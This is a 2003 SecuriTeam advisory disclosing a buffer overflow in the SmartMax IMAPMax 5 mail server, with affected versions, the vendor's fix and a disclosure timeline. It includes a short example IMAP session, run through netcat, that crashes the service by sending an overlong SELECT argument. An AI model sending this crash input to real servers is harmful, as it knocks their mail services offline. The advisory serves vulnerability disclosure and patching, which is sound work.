[NT] Buffer Overflow Vulnerability found in MailMax (SELECT)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/18/03

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Date: 18 May 2003 11:11:00 +0200

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      Buffer Overflow Vulnerability found in MailMax (SELECT)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.smartmax.com/> MailMax is "a scalable e-mail server that
    supports SMTP, IMAP4, and POP3 protocols". There is a buffer overflow
    vulnerability in the IMAP4 protocol, within the IMAP4rev1 SmartMax IMAPMax
    5, exploiting the vulnerability will cause the service to stop responding.

    DETAILS

    Vulnerable systems:
     * IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)

    Immune systems:
     * IMAP4rev1 SmartMax IMAPMax 5.5

    When a malicious attacker sends a large amount into the SELECT command.
    The buffer will overflow.

    Example:
    nc infowarfare.dk 143
    * OK IMAP4rev1 SmartMax IMAPMax 5 Ready
    0000 CAPABILITY
    * CAPABILITY IMAP4rev1
    0000 OK CAPABILITY completed
    0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
    0001 OK User authenticated.
    0002 SELECT "aaa...[256]...aaaa"

    Vendor response:
    The vendor has issued a fix (version 5.5) released by May 10th.

    Timeline:
    11/04/2003 Received an email from Mark Litchfield
    15/04/2003 Made an analysis and found the vulnerability
    28/04/2003 Reported the vulnerability to Vendor (support-at-smartmax.com)
    02/05/2003 Received response from Vendor
    17/05/2003 Public Disclosure.

    ADDITIONAL INFORMATION

    The vulnerability was discovered and reported by <mailto:Matrix at
    0x36.org> .

    ========================================

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